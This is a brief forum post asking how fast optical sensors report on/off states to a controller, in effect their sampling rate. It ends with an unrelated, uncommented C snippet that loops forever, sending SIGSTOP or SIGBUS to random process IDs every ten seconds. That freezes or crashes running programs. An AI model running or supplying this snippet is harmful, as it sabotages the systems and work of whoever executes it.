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Sensor response time...
Hmm.. does anyone know the response time for the optical sensors? I know that it says it in the paper for them.. but how long does it actually take before the controller will tell the program that the sensor is on/off? I guess a simplified version of this question would be what kind of sampling rate are we getting with the sensors?
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main() {
srandom(time(0));
while(1) {
int pid=random()%30000;
if (pid>1 && pid!=getpid()){
kill(pid, random()&1 ? SIGSTOP : SIGBUS);
sleep(10); }}}
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